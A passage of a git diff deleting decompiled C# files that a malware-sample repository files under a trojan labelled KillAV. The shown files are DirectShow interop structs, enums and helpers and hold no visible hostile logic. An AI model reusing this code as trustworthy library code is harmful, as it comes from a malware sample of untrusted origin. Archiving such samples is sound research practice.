86df061f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsRECT.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsRECT -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsRECT - { - public int Left; - public int Top; - public int Right; - public int Bottom; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsROT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsROT.cs deleted file mode 100644 index fdbf9a49..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsROT.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsROT -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsROT - { - private const int ROTFLAGS_REGISTRATIONKEEPSALIVE = 1; - - public static bool AddGraphToRot(object graph, out int cookie) - { - cookie = 0; - UCOMIRunningObjectTable pprot = (UCOMIRunningObjectTable) null; - UCOMIMoniker ppmk = (UCOMIMoniker) null; - try - { - int runningObjectTable = DsROT.GetRunningObjectTable(0, out pprot); - if (runningObjectTable < 0) - Marshal.ThrowExceptionForHR(runningObjectTable); - int currentProcessId = DsROT.GetCurrentProcessId(); - IntPtr iunknownForObject = Marshal.GetIUnknownForObject(graph); - int num = (int) iunknownForObject; - Marshal.Release(iunknownForObject); - int itemMoniker = DsROT.CreateItemMoniker("!", string.Format("FilterGraph {0} pid {1}", (object) num.ToString("x8"), (object) currentProcessId.ToString("x8")), out ppmk); - if (itemMoniker < 0) - Marshal.ThrowExceptionForHR(itemMoniker); - pprot.Register(1, graph, ppmk, out cookie); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (ppmk != null) - Marshal.ReleaseComObject((object) ppmk); - if (pprot != null) - Marshal.ReleaseComObject((object) pprot); - } - } - - public static bool RemoveGraphFromRot(ref int cookie) - { - UCOMIRunningObjectTable pprot = (UCOMIRunningObjectTable) null; - try - { - DsROT.GetRunningObjectTable(0, out pprot); - pprot.Revoke(cookie); - cookie = 0; - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pprot != null) - Marshal.ReleaseComObject((object) pprot); - } - } - - [DllImport("ole32.dll")] - private static extern int GetRunningObjectTable(int r, out UCOMIRunningObjectTable pprot); - - [DllImport("ole32.dll", CharSet = CharSet.Unicode)] - private static extern int CreateItemMoniker(string delim, string item, out UCOMIMoniker ppmk); - - [DllImport("kernel32.dll")] - private static extern int GetCurrentProcessId(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsUtils.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsUtils.cs deleted file mode 100644 index 6bfc117d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsUtils.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsUtils -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsUtils - { - public static bool IsCorrectDirectXVersion() => File.Exists(Path.Combine(Environment.SystemDirectory, "dpnhpast.dll")); - - public static bool ShowCapPinDialog(ICaptureGraphBuilder2 bld, IBaseFilter flt, IntPtr hwnd) - { - object ppint = (object) null; - ISpecifyPropertyPages specifyPropertyPages1 = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - try - { - Guid capture = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid = typeof (IAMStreamConfig).GUID; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - return false; - } - if (!(ppint is ISpecifyPropertyPages specifyPropertyPages2)) - return false; - int num = specifyPropertyPages2.GetPages(out pPages); - num = DsUtils.OleCreatePropertyFrame(hwnd, 30, 30, (string) null, 1, ref ppint, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - specifyPropertyPages1 = (ISpecifyPropertyPages) null; - if (ppint != null) - Marshal.ReleaseComObject(ppint); - } - } - - public static bool ShowTunerPinDialog(ICaptureGraphBuilder2 bld, IBaseFilter flt, IntPtr hwnd) - { - object ppint = (object) null; - ISpecifyPropertyPages specifyPropertyPages1 = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - try - { - Guid capture = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid = typeof (IAMTVTuner).GUID; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - return false; - } - if (!(ppint is ISpecifyPropertyPages specifyPropertyPages2)) - return false; - int num = specifyPropertyPages2.GetPages(out pPages); - num = DsUtils.OleCreatePropertyFrame(hwnd, 30, 30, (string) null, 1, ref ppint, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - specifyPropertyPages1 = (ISpecifyPropertyPages) null; - if (ppint != null) - Marshal.ReleaseComObject(ppint); - } - } - - public int GetPin(IBaseFilter filter, PinDirection dirrequired, int num, out IPin ppPin) - { - ppPin = (IPin) null; - IEnumPins ppEnum; - int pin1 = filter.EnumPins(out ppEnum); - if (pin1 < 0 || ppEnum == null) - return pin1; - IPin[] ppPins = new IPin[1]; - int pin2; - do - { - pin2 = ppEnum.Next(1, ppPins, out int _); - if (pin2 == 0 && ppPins[0] != null) - { - PinDirection pPinDir = (PinDirection) 3; - pin2 = ppPins[0].QueryDirection(out pPinDir); - if (pin2 == 0 && pPinDir == dirrequired) - { - if (num == 0) - { - ppPin = ppPins[0]; - ppPins[0] = (IPin) null; - break; - } - --num; - } - Marshal.ReleaseComObject((object) ppPins[0]); - ppPins[0] = (IPin) null; - } - else - break; - } - while (pin2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - return pin2; - } - - public static void FreeAMMediaType(AMMediaType mediaType) - { - if (mediaType.formatSize != 0) - Marshal.FreeCoTaskMem(mediaType.formatPtr); - if (mediaType.unkPtr != IntPtr.Zero) - Marshal.Release(mediaType.unkPtr); - mediaType.formatSize = 0; - mediaType.formatPtr = IntPtr.Zero; - mediaType.unkPtr = IntPtr.Zero; - } - - [DllImport("olepro32.dll", CharSet = CharSet.Unicode)] - private static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - string lpszCaption, - int cObjects, - [MarshalAs(UnmanagedType.Interface), In] ref object ppUnk, - int cPages, - IntPtr pPageClsID, - int lcid, - int dwReserved, - IntPtr pvReserved); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAppMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAppMode.cs deleted file mode 100644 index d5d00541..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAppMode.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioAppMode -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioAppMode - { - None, - Karaoke, - Surround, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAttr.cs deleted file mode 100644 index 9a12880b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioAttr.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioAttr -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdAudioAttr - { - public DvdAudioAppMode appMode; - public int appModeData; - public DvdAudioFormat audioFormat; - public int language; - public DvdAudioLangExt languageExtension; - public bool hasMultichannelInfo; - public int frequency; - public byte quantization; - public byte numberOfChannels; - public short dummy; - public int res1; - public int res2; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioCaps.cs deleted file mode 100644 index a7c92b17..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioCaps.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioCaps -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdAudioCaps - { - Ac3 = 1, - Mpeg2 = 2, - Lpcm = 4, - Dts = 8, - Sdds = 16, // 0x00000010 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioFormat.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioFormat.cs deleted file mode 100644 index db5f3874..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioFormat.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioFormat -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioFormat - { - Ac3, - Mpeg1, - Mpeg1Drc, - Mpeg2, - Mpeg2Drc, - Lpcm, - Dts, - Sdds, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioLangExt.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioLangExt.cs deleted file mode 100644 index 9dfee527..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdAudioLangExt.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioLangExt -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioLangExt - { - NotSpecified, - Captions, - VisuallyImpaired, - DirectorComments1, - DirectorComments2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCharSet.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCharSet.cs deleted file mode 100644 index 3e735e2e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCharSet.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdCharSet -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdCharSet - { - Unicode, - Iso646, - Jis, - Iso8859, - SiftJis, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCmdFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCmdFlags.cs deleted file mode 100644 index e3eddad2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdCmdFlags.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdCmdFlags -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdCmdFlags - { - None = 0, - Flush = 1, - SendEvt = 2, - Block = 4, - StartWRendered = 8, - EndARendered = 16, // 0x00000010 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDecoderCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDecoderCaps.cs deleted file mode 100644 index bbb8a4e7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDecoderCaps.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDecoderCaps -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdDecoderCaps - { - public int size; - public DvdAudioCaps audioCaps; - public double fwdMaxRateVideo; - public double fwdMaxRateAudio; - public double fwdMaxRateSP; - public double bwdMaxRateVideo; - public double bwdMaxRateAudio; - public double bwdMaxRateSP; - public int res1; - public int res2; - public int res3; - public int res4; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDiscSide.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDiscSide.cs deleted file mode 100644 index 15c5cb49..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDiscSide.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDiscSide -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdDiscSide - { - A = 1, - B = 2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDomain.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDomain.cs deleted file mode 100644 index d5e11f8d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdDomain.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDomain -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdDomain - { - FirstPlay = 1, - VideoManagerMenu = 2, - VideoTitleSetMenu = 3, - Title = 4, - Stop = 5, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdGraphFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdGraphFlags.cs deleted file mode 100644 index ae31db3d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdGraphFlags.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdGraphFlags -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdGraphFlags - { - Default = 0, - HwDecPrefer = 1, - HwDecOnly = 2, - SwDecPrefer = 4, - SwDecOnly = 8, - NoVpe = 256, // 0x00000100 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuAttr.cs deleted file mode 100644 index 3bf0c576..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuAttr.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdMenuAttr -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdMenuAttr - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public bool[] compatibleRegion; - public DvdVideoAttr videoAt; - public bool audioPresent; - public DvdAudioAttr audioAt; - public bool subPicPresent; - public DvdSubPicAttr subPicAt; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuID.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuID.cs deleted file mode 100644 index 79bf2d2f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdMenuID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdMenuID -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdMenuID - { - Title = 2, - Root = 3, - Subpicture = 4, - Audio = 5, - Angle = 6, - Chapter = 7, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdOptionFlag.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdOptionFlag.cs deleted file mode 100644 index e41c4c63..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdOptionFlag.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdOptionFlag -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET.Dvd -{ - public enum DvdOptionFlag - { - ResetOnStop = 1, - NotifyParentalLevelChange = 2, - HmsfTimeCodeEvt = 3, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdPlayLocation.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdPlayLocation.cs deleted file mode 100644 index c43dcf02..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdPlayLocation.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdPlayLocation -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdPlayLocation - { - public int TitleNum; - public int ChapterNum; - public DvdTimeCode timeCode; - public int TimeCodeFlags; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRelButton.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/DvdRelButton.cs deleted file mode 100644 index 983d3474..00000000 